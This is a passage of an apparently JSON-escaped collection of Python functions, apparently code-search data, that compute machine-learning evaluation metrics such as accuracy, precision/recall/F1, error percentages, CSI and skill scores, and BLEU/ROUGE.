'w') as f:\\n f.write(\\\"Test Accuracy:\\\"+'\\\\n')\\n f.wirte(\\\"Total tests: {}\\\".format(len_list)+'\\\\n')\\n f.write(\\\"Correct predictions: {}\\\".format(str(correct))+'\\\\n')\\n f.write(\\\"Incorrect predictions: {}\\\".format(str(incorrect))+'\\\\n')\\n f.write(\\\"Accuracy: {}\\\".format(str(correct/len_list*100)+'%'))\\n \\n else:\\n correct = 0\\n incorrect = 0\\n for idx in range(len_list):\\n if int(list_targets[idx]) == int(round(float(list_preds[idx]))):\\n correct +=1\\n else:\\n incorrect += 1\\n with open(path_accuracy, 'w') as f:\\n f.write(\\\"Test Accuracy:\\\"+'\\\\n')\\n f.write(\\\"Total tests: {}\\\".format(len_list)+'\\\\n')\\n f.write(\\\"Correct predictions: {}\\\".format(str(correct))+'\\\\n')\\n f.write(\\\"Incorrect predictions: {}\\\".format(str(incorrect))+'\\\\n')\\n f.write(\\\"Accuracy: {}\\\".format(str(correct/float(len_list)*100)+'%'))\",\n \"def evaluate_predictions_from_jsons( # TODO: Change name to end2end_evaluate ?\\n ground_truth_tree_jsons: List[Dict],\\n prediction_tree_jsons: List[Dict],\\n node_types: List[str] = None,\\n) -> Dict[str, float]:\\n node_types = node_types or [\\\"ml\\\", \\\"module\\\", \\\"model\\\"]\\n\\n ground_truth_trees = TreeNode.read_from_jsons(ground_truth_tree_jsons, [])\\n predictions_trees = TreeNode.read_from_jsons(prediction_tree_jsons, [])\\n\\n node_type_to_percentage_errors = {}\\n for node_type in node_types:\\n assert node_type in (\\\"model\\\", \\\"module\\\", \\\"ml\\\")\\n\\n id_to_gold_energy = {}\\n for tree in ground_truth_trees:\\n for attribute_object in tree.get_subtree_nodes_attributes(\\n [node_type], [\\\"id\\\", \\\"gold_energy\\\"]\\n ):\\n id_to_gold_energy[attribute_object[\\\"id\\\"]] = attribute_object[\\n \\\"gold_energy\\\"\\n ]\\n\\n id_to_predicted_energy = {}\\n for tree in predictions_trees:\\n for attribute_object in tree.get_subtree_nodes_attributes(\\n [node_type], [\\\"id\\\", \\\"predicted_energy\\\"]\\n ):\\n id_to_predicted_energy[attribute_object[\\\"id\\\"]] = attribute_object[\\n \\\"predicted_energy\\\"\\n ]\\n\\n expected_ids = id_to_gold_energy.keys()\\n gold_energies = [id_to_gold_energy[id_] for id_ in expected_ids]\\n predicted_energies = []\\n for id_ in expected_ids:\\n predicted_energy = id_to_predicted_energy.get(id_, None)\\n\\n if not predicted_energy:\\n print(\\n f\\\"WARNING: No predicted energy found for node-id {id_}. Force setting 0.\\\"\\n )\\n predicted_energy = 0\\n\\n predicted_energies.append(predicted_energy)\\n\\n percentage_error = get_percentage_error_list(gold_energies, predicted_energies)\\n node_type_to_percentage_errors[node_type] = round(percentage_error, 2)\\n\\n return node_type_to_percentage_errors\",\n \"def compute_metrics(self, outputs: List[Dict[str, torch.Tensor]]) -> dict:\\n distance_pos, distance_neg = [], []\\n for minibatch in outputs:\\n minibatch = minibatch[\\\"val_prediction\\\"]\\n src_embedding = minibatch[\\\"src_sentemb\\\"]\\n ref_embedding = minibatch[\\\"ref_sentemb\\\"]\\n pos_embedding = minibatch[\\\"pos_sentemb\\\"]\\n neg_embedding = minibatch[\\\"neg_sentemb\\\"]\\n\\n distance_src_pos = F.pairwise_distance(pos_embedding, src_embedding)\\n distance_ref_pos = F.pairwise_distance(pos_embedding, ref_embedding)\\n harmonic_distance_pos = (2 * distance_src_pos * distance_ref_pos) / (\\n distance_src_pos + distance_ref_pos\\n )\\n distance_pos.append(harmonic_distance_pos)\\n\\n distance_src_neg = F.pairwise_distance(neg_embedding, src_embedding)\\n distance_ref_neg = F.pairwise_distance(neg_embedding, ref_embedding)\\n harmonic_distance_neg = (2 * distance_src_neg * distance_ref_neg) / (\\n distance_src_neg + distance_ref_neg\\n )\\n distance_neg.append(harmonic_distance_neg)\\n\\n return {\\n \\\"kendall\\\": self.metrics.compute(\\n torch.cat(distance_pos), torch.cat(distance_neg)\\n )\\n }\",\n \"def study_targets(root_folder=None):\\n # Read targets file\\n if root_folder is None:\\n root_folder = Path.cwd()\\n files = glob.glob(str(root_folder / '*TARGETS.csv'))\\n assert len(files) == 1, ('Root data folder must contain one targets '\\n 'csv file.')\\n targets = pd.read_csv(root_folder / files[0])\\n\\n # Cleanup and remove invalid targets\\n path_scores = []\\n path_scores.append(pd.to_numeric(targets['Corwyn Score']\\n .replace('W', np.nan)))\\n path_scores.append(pd.to_numeric(targets['Cathy Score']\\n .replace('W', np.nan)))\\n valid = ~(path_scores[0].isna() & path_scores[1].isna())\\n has_both = ~(path_scores[0].isna() | path_scores[1].isna())\\n assert not np.any(has_both), \\\"Implement averaging of pathological scores\\\"\\n\\n # Use whichever pathologist score is available without averaging\\n path_score = pd.concat([path_scores[0][valid], path_scores[1][valid]],\\n axis=1).max(axis=1)\\n path_score.name = 'Trauma Score' # 0, 1, 2, 3 categorical\\n\\n # Get pathologist names\\n paths = pd.Series(index=path_scores[0].index,\\n name='Pathologist')\\n for i in range(len(path_scores)):\\n scores = path_scores[i]\\n name = scores.name.split()[0]\\n scores = ~scores.isna()\\n paths[scores] = name\\n paths = paths[valid]\\n\\n id_labels = ['Patient Code', 'Protocol', 'Tissue', 'Load (g)']\\n abs_deltas = targets.loc[valid, 'Absolute Delta (um)']\\n deltas = targets.loc[valid, 'Percent Delta']\\n pscores = targets.loc[valid, 'P Score']\\n ids = targets.loc[valid, id_labels]\\n for label in id_labels:\\n if label == 'Load (g)':\\n func = int\\n else:\\n func = str.upper\\n ids[label] = ids[label].apply(func)\\n targets = pd.concat([ids,\\n abs_deltas,\\n deltas,\\n pscores,\\n paths,\\n path_score], axis=1)\\n\\n return targets\",\n \"def run_evaluation(forecast_probabilities, observed_labels, output_dir_name):\\n\\n file_system_utils.mkdir_recursive_if_necessary(\\n directory_name=output_dir_name)\\n\\n # TODO(thunderhoser): Make binarization threshold an input argument to this\\n # method.\\n (binarization_threshold, best_csi\\n ) = model_eval.find_best_binarization_threshold(\\n forecast_probabilities=forecast_probabilities,\\n observed_labels=observed_labels,\\n threshold_arg=model_eval.THRESHOLD_ARG_FOR_UNIQUE_FORECASTS,\\n criterion_function=model_eval.get_csi,\\n optimization_direction=model_eval.MAX_OPTIMIZATION_DIRECTION,\\n unique_forecast_precision=FORECAST_PRECISION_FOR_THRESHOLDS)\\n\\n print (\\n 'Best binarization threshold = {0:.4f} ... corresponding CSI = {1:.4f}'\\n ).format(binarization_threshold, best_csi)\\n\\n print 'Binarizing forecast probabilities...'\\n forecast_labels = model_eval.binarize_forecast_probs(\\n forecast_probabilities=forecast_probabilities,\\n binarization_threshold=binarization_threshold)\\n\\n print 'Creating contingency table...'\\n contingency_table_as_dict = model_eval.get_contingency_table(\\n forecast_labels=forecast_labels, observed_labels=observed_labels)\\n print '{0:s}\\\\n'.format(str(contingency_table_as_dict))\\n\\n print 'Computing performance metrics...'\\n pod = model_eval.get_pod(contingency_table_as_dict)\\n pofd = model_eval.get_pofd(contingency_table_as_dict)\\n success_ratio = model_eval.get_success_ratio(contingency_table_as_dict)\\n focn = model_eval.get_focn(contingency_table_as_dict)\\n accuracy = model_eval.get_accuracy(contingency_table_as_dict)\\n csi = model_eval.get_csi(contingency_table_as_dict)\\n frequency_bias = model_eval.get_frequency_bias(contingency_table_as_dict)\\n peirce_score = model_eval.get_peirce_score(contingency_table_as_dict)\\n heidke_score = model_eval.get_heidke_score(contingency_table_as_dict)\\n\\n print (\\n 'POD = {0:.4f} ... POFD = {1:.4f} ... success ratio = {2:.4f} ... '\\n 'FOCN = {3:.4f} ... accuracy = {4:.4f} ... CSI = {5:.4f} ... frequency '\\n 'bias = {6:.4f} ... Peirce score = {7:.4f} ... Heidke score = {8:.4f}\\\\n'\\n ).format(pod, pofd, success_ratio, focn, accuracy, csi, frequency_bias,\\n peirce_score, heidke_score)\\n\\n auc, scikit_learn_auc = _create_roc_curve(\\n forecast_probabilities=forecast_probabilities,\\n observed_labels=observed_labels, output_dir_name=output_dir_name)\\n print '\\\\n'\\n\\n bss_dict = _create_attributes_diagram(\\n forecast_probabilities=forecast_probabilities,\\n observed_labels=observed_labels, output_dir_name=output_dir_name)\\n print '\\\\n'\\n\\n aupd = _create_performance_diagram(\\n forecast_probabilities=forecast_probabilities,\\n observed_labels=observed_labels, output_dir_name=output_dir_name)\\n print '\\\\n'\\n\\n evaluation_file_name = '{0:s}/model_evaluation.p'.format(output_dir_name)\\n print 'Writing results to: \\\"{0:s}\\\"...'.format(evaluation_file_name)\\n model_eval.write_results(\\n forecast_probabilities=forecast_probabilities,\\n observed_labels=observed_labels,\\n binarization_threshold=binarization_threshold, pod=pod, pofd=pofd,\\n success_ratio=success_ratio, focn=focn, accuracy=accuracy, csi=csi,\\n frequency_bias=frequency_bias, peirce_score=peirce_score,\\n heidke_score=heidke_score, auc=auc, scikit_learn_auc=scikit_learn_auc,\\n aupd=aupd, bss_dict=bss_dict, pickle_file_name=evaluation_file_name)\",\n \"def eval_detection(gt_mask, r):\\n ids = np.unique(r['class_ids'])\\n merged_masks = {}\\n qualities = dict([(1,0), (2,0), (3,0)])\\n\\n for i in ids:\\n merged_masks[i] = (np.zeros_like(r['masks'][:,:,0]) > 0)\\n n_masks = r['masks'].shape[-1]\\n for c in range(n_masks):\\n if i != r['class_ids'][c] or r['scores'][c] < .7:\\n continue\\n\\n mask = r['masks'][:,:,c]\\n merged_masks[i] |= mask\\n\\n gt_mask_i = (gt_mask[:,:,i-1] > 0)\\n intersection = gt_mask_i & merged_masks[i]\\n union = gt_mask_i | merged_masks[i]\\n qualities[i] = np.sum(intersection) / np.sum(union)\\n \\n return qualities, merged_masks\",\n \"def _run(prediction_file_name, num_bootstrap_reps, output_dir_name):\\n\\n file_metadata_dict = prediction_io.file_name_to_metadata(\\n prediction_file_name\\n )\\n output_file_name = evaluation.find_file(\\n directory_name=output_dir_name,\\n zenith_angle_bin=file_metadata_dict[prediction_io.ZENITH_ANGLE_BIN_KEY],\\n albedo_bin=file_metadata_dict[prediction_io.ALBEDO_BIN_KEY],\\n month=file_metadata_dict[prediction_io.MONTH_KEY],\\n grid_row=file_metadata_dict[prediction_io.GRID_ROW_KEY],\\n grid_column=file_metadata_dict[prediction_io.GRID_COLUMN_KEY],\\n raise_error_if_missing=False\\n )\\n\\n result_table_xarray = evaluation.get_scores_all_variables(\\n prediction_file_name=prediction_file_name,\\n num_bootstrap_reps=num_bootstrap_reps\\n )\\n print(SEPARATOR_STRING)\\n\\n t = result_table_xarray\\n scalar_target_names = t.coords[evaluation.SCALAR_FIELD_DIM].values\\n\\n for k in range(len(scalar_target_names)):\\n print((\\n 'Variable = \\\"{0:s}\\\" ... stdev of target and predicted values = '\\n '{1:f}, {2:f} ... MSE and skill score = {3:f}, {4:f} ... '\\n 'MAE and skill score = {5:f}, {6:f} ... bias = {7:f} ... '\\n 'correlation = {8:f} ... KGE = {9:f}'\\n ).format(\\n scalar_target_names[k],\\n numpy.nanmean(t[evaluation.SCALAR_TARGET_STDEV_KEY].values[k, :]),\\n numpy.nanmean(\\n t[evaluation.SCALAR_PREDICTION_STDEV_KEY].values[k, :]\\n ),\\n numpy.nanmean(t[evaluation.SCALAR_MSE_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.SCALAR_MSE_SKILL_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.SCALAR_MAE_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.SCALAR_MAE_SKILL_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.SCALAR_BIAS_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.SCALAR_CORRELATION_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.SCALAR_KGE_KEY].values[k, :])\\n ))\\n\\n print(SEPARATOR_STRING)\\n\\n vector_target_names = t.coords[evaluation.VECTOR_FIELD_DIM].values\\n heights_m_agl = t.coords[evaluation.HEIGHT_DIM].values\\n\\n for k in range(len(vector_target_names)):\\n print('Variable = \\\"{0:s}\\\" ... PRMSE = {1:f}'.format(\\n vector_target_names[k],\\n numpy.nanmean(t[evaluation.VECTOR_PRMSE_KEY].values[k, :])\\n ))\\n\\n print(SEPARATOR_STRING)\\n\\n for k in range(len(vector_target_names)):\\n for j in range(len(heights_m_agl)):\\n print((\\n 'Variable = \\\"{0:s}\\\" at {1:d} m AGL ... '\\n 'stdev of target and predicted values = {2:f}, {3:f} ... '\\n 'MSE and skill score = {4:f}, {5:f} ... '\\n 'MAE and skill score = {6:f}, {7:f} ... bias = {8:f} ... '\\n 'correlation = {9:f} ... KGE = {10:f}'\\n ).format(\\n vector_target_names[k], int(numpy.round(heights_m_agl[j])),\\n numpy.nanmean(\\n t[evaluation.VECTOR_TARGET_STDEV_KEY].values[j, k, :]\\n ),\\n numpy.nanmean(\\n t[evaluation.VECTOR_PREDICTION_STDEV_KEY].values[j, k, :]\\n ),\\n numpy.nanmean(t[evaluation.VECTOR_MSE_KEY].values[j, k, :]),\\n numpy.nanmean(\\n t[evaluation.VECTOR_MSE_SKILL_KEY].values[j, k, :]\\n ),\\n numpy.nanmean(t[evaluation.VECTOR_MAE_KEY].values[j, k, :]),\\n numpy.nanmean(\\n t[evaluation.VECTOR_MAE_SKILL_KEY].values[j, k, :]\\n ),\\n numpy.nanmean(t[evaluation.VECTOR_BIAS_KEY].values[j, k, :]),\\n numpy.nanmean(\\n t[evaluation.VECTOR_CORRELATION_KEY].values[j, k, :]\\n ),\\n numpy.nanmean(t[evaluation.VECTOR_KGE_KEY].values[j, k, :])\\n ))\\n\\n print(SEPARATOR_STRING)\\n\\n try:\\n aux_target_field_names = (\\n t.coords[evaluation.AUX_TARGET_FIELD_DIM].values\\n )\\n aux_predicted_field_names = (\\n t.coords[evaluation.AUX_PREDICTED_FIELD_DIM].values\\n )\\n except:\\n aux_target_field_names = []\\n aux_predicted_field_names = []\\n\\n for k in range(len(aux_target_field_names)):\\n print((\\n 'Target variable = \\\"{0:s}\\\" ... predicted variable = \\\"{1:s}\\\" ... '\\n 'stdev of target and predicted values = {2:f}, {3:f} ... '\\n 'MSE and skill score = {4:f}, {5:f} ... '\\n 'MAE and skill score = {6:f}, {7:f} ... bias = {8:f} ... '\\n 'correlation = {9:f} ... KGE = {10:f}'\\n ).format(\\n aux_target_field_names[k], aux_predicted_field_names[k],\\n numpy.nanmean(t[evaluation.AUX_TARGET_STDEV_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.AUX_PREDICTION_STDEV_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.AUX_MSE_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.AUX_MSE_SKILL_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.AUX_MAE_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.AUX_MAE_SKILL_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.AUX_BIAS_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.AUX_CORRELATION_KEY].values[k, :]),\\n numpy.nanmean(t[evaluation.AUX_KGE_KEY].values[k, :])\\n ))\\n\\n print(SEPARATOR_STRING)\\n\\n print('Writing results to: \\\"{0:s}\\\"...'.format(output_file_name))\\n evaluation.write_file(\\n result_table_xarray=result_table_xarray,\\n netcdf_file_name=output_file_name\\n )\",\n \"def error_analysis(predictions, gold, result_collector):\\n # scores = defaultdict(list)\\n for iteration_id, texts in predictions.items():\\n # map iteration id to fold\\n fold = str(int(iteration_id) / 5)\\n for tid, pred_tree in texts.items():\\n gold_tree = gold[tid]\\n print(iteration_id, fold, tid)\\n print(gold_tree.get_triples())\\n print(pred_tree.get_triples())\\n for level, scores in eval_prediction([gold_tree], [pred_tree]):\\n result_collector.add_result(tid, fold, level, scores)\\n print(\\\"Done.\\\")\",\n \"def eval_metrics_for_seqtags(self, predicted_answers):\\n total_correct_in_all = 0\\n label_pred = []\\n label_true = []\\n label_weights = []\\n digits = 3\\n metrics = {}\\n\\n for e_id, sample in predicted_answers.iteritems():\\n # get all correct ids, include padding ids.\\n correct_label_indices = sample['correct_seq_labels']\\n # use extend to add all the labels in the seq, include the head padding and tail padding\\n label_true.extend(correct_label_indices)\\n # counting all correct for each sample\\n total_correct_in_all += len(correct_label_indices)\\n # select topK\\n label_pred.extend(sample['pred_seq_tags'])\\n\\n if total_correct_in_all != 0:\\n p, r, f1, s = precision_recall_fscore_support(label_true, label_pred, beta=1.0, labels=range(self.num_classes), average=None)\\n total_s = np.sum(s)\\n p_micro, r_micro, f1_micro, _ = precision_recall_fscore_support(label_true, label_pred, beta=1.0, labels=range(self.num_classes), average='micro')\\n last_lines_heading = ['macro / total', 'weighted_mac / total', 'micro / total']\\n target_names = self.classes\\n name_width = max(len(cn) for cn in target_names)\\n width = max(name_width, max([len(x) for x in last_lines_heading]), digits)\\n\\n headers = [\\\"precision\\\", \\\"recall\\\", \\\"f1-score\\\", \\\"support\\\"]\\n head_fmt = u'{:>{width}s} ' + u' {:>9}' * len(headers)\\n report = head_fmt.format(u'', *headers, width=width)\\n report += u'\\\\n\\\\n'\\n row_fmt = u'{:>{width}s} ' + u' {:>9.{digits}f}' * 3 + u' {:>9}\\\\n'\\n rows = zip(target_names, p, r, f1, s)\\n for row in rows:\\n label_weights.append(row[4])\\n report += row_fmt.format(*row, width=width, digits=digits)\\n metrics['P_{}'.format(row[0])] = (1, row[1])\\n metrics['R_{}'.format(row[0])] = (1, row[2])\\n metrics['F1_{}'.format(row[0])] = (1, row[3])\\n report += u'\\\\n'\\n\\n # compute macro averages\\n p_macro = np.average(p, weights = None)\\n r_macro = np.average(r, weights = None)\\n f1_macro = np.average(f1, weights = None)\\n metrics['P_{}'.format(\\\"macro\\\")] = (1, p_macro)\\n metrics['R_{}'.format(\\\"macro\\\")] = (1, r_macro)\\n metrics['F1_{}'.format(\\\"macro\\\")] = (1, f1_macro)\\n report += row_fmt.format(last_lines_heading[0],\\n p_macro,\\n r_macro,\\n f1_macro,\\n total_s,\\n width=width, digits=digits)\\n\\n # compute weighted macro average\\n label_weights = map(lambda x : x/(total_s * 1.0), label_weights)\\n p_weighted_average = np.average(p, weights = label_weights)\\n r_weighted_average = np.average(r, weights = label_weights)\\n f1_weighted_average = np.average(f1, weights = label_weights)\\n metrics['P_{}'.format(\\\"weighted_macro\\\")] = (1, p_weighted_average)\\n metrics['R_{}'.format(\\\"weighted_macro\\\")] = (1, r_weighted_average)\\n metrics['F1_{}'.format(\\\"weighted_macro\\\")] = (1, f1_weighted_average)\\n report += row_fmt.format(last_lines_heading[1],\\n p_weighted_average,\\n r_weighted_average,\\n f1_weighted_average,\\n total_s,\\n width=width, digits=digits)\\n # micro average\\n metrics['P_{}'.format(\\\"micro\\\")] = (1, p_micro)\\n metrics['R_{}'.format(\\\"micro\\\")] = (1, r_micro)\\n metrics['F1_{}'.format(\\\"micro\\\")] = (1, f1_micro)\\n report += row_fmt.format(last_lines_heading[2],\\n p_micro,\\n r_micro,\\n f1_micro,\\n total_s,\\n width=width, digits=digits)\\n\\n self.logger.info(\\\"P,R,F1 report as follows:\\\\n {}\\\".format(report))\\n # only plot it at dev and test time, not during training.\\n if self.gen_confusing_matrix:\\n\\n self.logger.info(\\\"Generate confusing matrix photo.\\\")\\n # Compute confusion matrix\\n conf_matrix = confusion_matrix(label_true, label_pred)\\n np.set_printoptions(precision=2)\\n\\n # Plot non-normalized confusion matrix\\n plt.figure()\\n self.plot_confusion_matrix(conf_matrix, classes=self.brief_classes,\\n title='Confusion matrix when seq labeling, without normalization')\\n wo_norm_fig_path = os.path.join(self.result_dir, '{}_wo_norm.png'.format(self.result_prefix))\\n plt.savefig(wo_norm_fig_path)\\n\\n # Plot normalized confusion matrix\\n plt.figure()\\n self.plot_confusion_matrix(conf_matrix, classes=self.brief_classes, normalize=True,\\n title='Normalized confusion matrix when seq labeling')\\n\\n norm_fig_path = os.path.join(self.result_dir, '{}_w_norm.png'.format(self.result_prefix))\\n plt.savefig(norm_fig_path)\\n\\n else:\\n self.logger.warn('invalid total_correct_in_all')\\n\\n return metrics\",\n \"def evaluate(self) -> Dict[str, Any]:\\n kwargs = {\\\"ids\\\": self._ids}\\n return {\\n metric.value: self._metric_funcs[metric](\\n self._targets, self._preds, **kwargs\\n )\\n for metric in self._metrics\\n }\",\n \"def get_eval_metric_ops(targets, predictions, tensors):\\n # TODO(seominjoon): yp should also consider no answer case.\\n yp1 = tf.expand_dims(predictions['yp1'], -1)\\n yp2 = tf.expand_dims(predictions['yp2'], -1)\\n answer_mask = tf.sequence_mask(targets['num_answers'])\\n start_correct = tf.reduce_any(\\n tf.equal(targets['word_answer_starts'], yp1) & answer_mask, 1)\\n end_correct = tf.reduce_any(\\n tf.equal(targets['word_answer_ends'], yp2) & answer_mask, 1)\\n correct = start_correct & end_correct\\n em = tf.py_func(\\n _enum_fn(_exact_match_score, dtype='float32'), [\\n predictions['a'], targets['answers'], predictions['has_answer'],\\n answer_mask\\n ], 'float32')\\n f1 = tf.py_func(\\n _enum_fn(_f1_score, dtype='float32'), [\\n predictions['a'], targets['answers'], predictions['has_answer'],\\n answer_mask\\n ], 'float32')\\n\\n eval_metric_ops = {\\n 'acc1': tf.metrics.mean(tf.cast(start_correct, 'float')),\\n 'acc2': tf.metrics.mean(tf.cast(end_correct, 'float')),\\n 'acc': tf.metrics.mean(tf.cast(correct, 'float')),\\n 'em': tf.metrics.mean(em),\\n 'f1': tf.metrics.mean(f1),\\n }\\n\\n for key in tensors:\\n if key.startswith('skim_rate_'):\\n skim_rate = tf.py_func(\\n _enum_fn(\\n lambda x: x,\\n dtype='float32'), [tensors[key]], 'float32')\\n eval_metric_ops[key] = tf.metrics.mean(skim_rate)\\n\\n return eval_metric_ops\",\n \"def compute_score(predictions, references, vocab=None, beam_size=4):\\n assert np.rank(predictions) == 3\\n assert predictions.shape[0] == references.shape[0]\\n batch_size = predictions.shape[0]\\n predictions = tf.make_ndarray(tf.make_tensor_proto(predictions)).tolist()\\n references = tf.make_ndarray(tf.make_tensor_proto(references)).tolist()\\n hypotheses_list = []\\n references_list = []\\n\\n for index in range(batch_size):\\n # All predictions in beam search are used for validation scores.\\n for b_index in range(beam_size):\\n h = predictions[index][b_index]\\n try:\\n eos_index = h.index(input_utils.EOS)\\n except ValueError:\\n eos_index = len(h)\\n hypotheses_list.append(h[:eos_index])\\n\\n ref = references[index][0].decode().split('|')\\n ref_list = [r.strip().split(' ') for r in ref if r.strip()]\\n references_list.append(ref_list)\\n\\n all_scores = collections.defaultdict(list)\\n for hypothesis, references in zip(hypotheses_list, references_list):\\n if vocab is not None and len(vocab):\\n # Skip PADDING, UNK, EOS, START (0-3).\\n hypothesis = [\\n vocab[word_id].numpy().decode()\\n for word_id in hypothesis\\n if word_id > 3\\n ]\\n\\n h_str = ' '.join(str(e) for e in hypothesis)\\n r_str = [' '.join(str(e) for e in ref) for ref in references]\\n\\n print('hypothesis: ', str(h_str))\\n print('references: ', str(r_str))\\n print('\\\\n')\\n scores = screen2words_eval.coco_evaluate(r_str, h_str)\\n for key, score in scores.items():\\n all_scores[key].append(score)\\n score_names = [\\n 'BLEU-1', 'BLEU-2', 'BLEU-3', 'BLEU-4', 'ROUGE-1-f1-mean',\\n 'ROUGE-1-f1-min', 'ROUGE-1-f1-max', 'ROUGE-2-f1-mean', 'ROUGE-2-f1-min',\\n 'ROUGE-2-f1-max', 'ROUGE-L-f1-mean', 'ROUGE-L-f1-min', 'ROUGE-L-f1-max'\\n ]\\n\\n return [np.array(all_scores[name], dtype=np.float32) for name in score_names]\",\n \"def test_run_experiment_lr_eval_with_dictionary(self):\\n source = \\\"lr-eval-dict\\\"\\n experiment_id = \\\"lr_eval_dict\\\"\\n\\n # set up a temporary directory since\\n # we will be using getcwd\\n temp_dir = tempfile.TemporaryDirectory(prefix=getcwd())\\n\\n old_file_dict = {\\\"pred\\\": \\\"data/files/predictions_scaled_with_subgroups.csv\\\"}\\n\\n new_file_dict = copy_data_files(temp_dir.name, old_file_dict, rsmtool_test_dir)\\n\\n config_dict = {\\n \\\"predictions_file\\\": new_file_dict[\\\"pred\\\"],\\n \\\"system_score_column\\\": \\\"score\\\",\\n \\\"description\\\": \\\"An evaluation of LinearRegression predictions.\\\",\\n \\\"human_score_column\\\": \\\"h1\\\",\\n \\\"id_column\\\": \\\"id\\\",\\n \\\"experiment_id\\\": \\\"lr_eval_dict\\\",\\n \\\"subgroups\\\": \\\"QUESTION\\\",\\n \\\"scale_with\\\": \\\"asis\\\",\\n \\\"trim_min\\\": 1,\\n \\\"trim_max\\\": 6,\\n }\\n\\n check_run_evaluation(source, experiment_id, config_obj_or_dict=config_dict)\",\n \"def eval_metrics_for_multiclass(self, predicted_answers):\\n total_correct_in_all = 0\\n total_pred_in_all = len(predicted_answers)\\n # initial a dict for total correct in topK counting.\\n total_correct_in_topK = dict([(i, 0) for i in self.topK_list])\\n total_pred_in_topK = dict([(i, 0) for i in self.topK_list])\\n max_topK = max(self.topK_list)\\n label_pred = []\\n label_true = []\\n label_weights = []\\n digits = 3\\n metrics = {}\\n\\n for e_id, sample in predicted_answers.iteritems():\\n # get all correct ids\\n correct_label_indices = sample['correct_labels']\\n # current case, we only have a majority lable for the correct label\\n label_true.append(correct_label_indices[0])\\n # counting all correct for each sample\\n total_correct_in_all += len(correct_label_indices)\\n # select topK\\n sorted_probs_max_topK = sorted(sample['pred_probs'], reverse=True, key=lambda x: x['prob'])[:max_topK]\\n top1_pred = sorted_probs_max_topK[0]\\n label_pred.append(top1_pred['label_index'])\\n\\n # for all topK predictions\\n for i in range(len(sorted_probs_max_topK)):\\n pred = sorted_probs_max_topK[i]\\n for topK in self.topK_list:\\n if i >= topK:\\n continue\\n else:\\n total_pred_in_topK[topK] += 1\\n if pred['label_index'] in correct_label_indices:\\n total_correct_in_topK[topK] += 1\\n\\n if total_correct_in_all != 0:\\n # recall@K\\n recall_at_K = dict([(k, total_correct_in_topK[k] / (total_correct_in_all * 1.0)) for k in self.topK_list])\\n # assign recall@K into metrics\\n for k, v in recall_at_K.items():\\n # Jie\\n # 1 means the greater the better.\\n # -1 means the smaller the better.\\n metrics['R@{}'.format(k)] = (1, v)\\n\\n self.logger.info('total_correct_in_all = {}, correct_in_topK = {}, recall@K = {}'.format(total_correct_in_all, sorted(total_correct_in_topK.items()), sorted(recall_at_K.items())))\\n # here return all the p,r,f for each label, then we compute the micro average later.\\n p, r, f1, s = precision_recall_fscore_support(label_true, label_pred, beta=1.0, labels=range(self.num_classes), average=None)\\n total_s = np.sum(s)\\n p_micro, r_micro, f1_micro, _ = precision_recall_fscore_support(label_true, label_pred, beta=1.0, labels=range(self.num_classes), average='micro')\\n last_lines_heading = ['macro / total', 'weighted_mac / total', 'micro / total']\\n target_names = self.classes\\n name_width = max(len(cn) for cn in target_names)\\n width = max(name_width, max([len(x) for x in last_lines_heading]), digits)\\n\\n headers = [\\\"precision\\\", \\\"recall\\\", \\\"f1-score\\\", \\\"support\\\"]\\n head_fmt = u'{:>{width}s} ' + u' {:>9}' * len(headers)\\n report = head_fmt.format(u'', *headers, width=width)\\n report += u'\\\\n\\\\n'\\n row_fmt = u'{:>{width}s} ' + u' {:>9.{digits}f}' * 3 + u' {:>9}\\\\n'\\n rows = zip(target_names, p, r, f1, s)\\n for row in rows:\\n label_weights.append(row[4])\\n report += row_fmt.format(*row, width=width, digits=digits)\\n metrics['P_{}'.format(row[0])] = (1, row[1])\\n metrics['R_{}'.format(row[0])] = (1, row[2])\\n metrics['F1_{}'.format(row[0])] = (1, row[3])\\n report += u'\\\\n'\\n\\n # compute macro averages\\n p_macro = np.average(p, weights = None)\\n r_macro = np.average(r, weights = None)\\n f1_macro = np.average(f1, weights = None)\\n metrics['P_{}'.format(\\\"macro\\\")] = (1, p_macro)\\n metrics['R_{}'.format(\\\"macro\\\")] = (1, r_macro)\\n metrics['F1_{}'.format(\\\"macro\\\")] = (1, f1_macro)\\n report += row_fmt.format(last_lines_heading[0],\\n p_macro,\\n r_macro,\\n f1_macro,\\n total_s,\\n width=width, digits=digits)\\n\\n # compute weighted macro average\\n label_weights = map(lambda x : x/(total_s * 1.0), label_weights)\\n p_weighted_average = np.average(p, weights = label_weights)\\n r_weighted_average = np.average(r, weights = label_weights)\\n f1_weighted_average = np.average(f1, weights = label_weights)\\n metrics['P_{}'.format(\\\"weighted_macro\\\")] = (1, p_weighted_average)\\n metrics['R_{}'.format(\\\"weighted_macro\\\")] = (1, r_weighted_average)\\n metrics['F1_{}'.format(\\\"weighted_macro\\\")] = (1, f1_weighted_average)\\n report += row_fmt.format(last_lines_heading[1],\\n p_weighted_average,\\n r_weighted_average,\\n f1_weighted_average,\\n total_s,\\n width=width, digits=digits)\\n # micro average\\n metrics['P_{}'.format(\\\"micro\\\")] = (1, p_micro)\\n metrics['R_{}'.format(\\\"micro\\\")] = (1, r_micro)\\n metrics['F1_{}'.format(\\\"micro\\\")] = (1, f1_micro)\\n report += row_fmt.format(last_lines_heading[2],\\n p_micro,\\n r_micro,\\n f1_micro,\\n total_s,\\n width=width, digits=digits)\\n\\n self.logger.info(\\\"P,R,F1 report as follows:\\\\n {}\\\".format(report))\\n # only plot it at dev and test time, not during training.\\n if self.gen_confusing_matrix:\\n\\n self.logger.info(\\\"Generate confusing matrix photo.\\\")\\n # Compute confusion matrix\\n conf_matrix = confusion_matrix(label_true, label_pred)\\n np.set_printoptions(precision=2)\\n\\n # Plot non-normalized confusion matrix\\n plt.figure()\\n self.plot_confusion_matrix(conf_matrix, classes=self.brief_classes, ori_fmt='d',\\n title='Confusion matrix, without normalization')\\n wo_norm_fig_path = os.path.join(self.result_dir, '{}_wo_norm.png'.format(self.result_prefix))\\n 